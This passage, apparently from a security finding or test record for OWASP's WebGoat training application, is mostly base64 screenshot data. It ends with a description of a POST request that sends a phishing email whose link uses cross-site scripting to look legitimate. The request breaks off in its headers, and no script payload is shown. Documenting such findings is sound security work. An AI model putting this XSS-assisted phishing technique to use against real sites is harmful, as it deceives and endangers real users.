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</data>\n</screenshot>\n<code>The
-        following POST request demonstrates the issue. It send an email message to
-        Phising.Victim@owasp.org. The message body contains a link that when clicked
-        will utilize a cross-site scripting attack to make the phising attack appear
-        more legitimate.\n\nPOST /WebGoat/attack?Screen=1706623184&amp;menu=1700 HTTP/1.1\nHost:
-        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
-        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
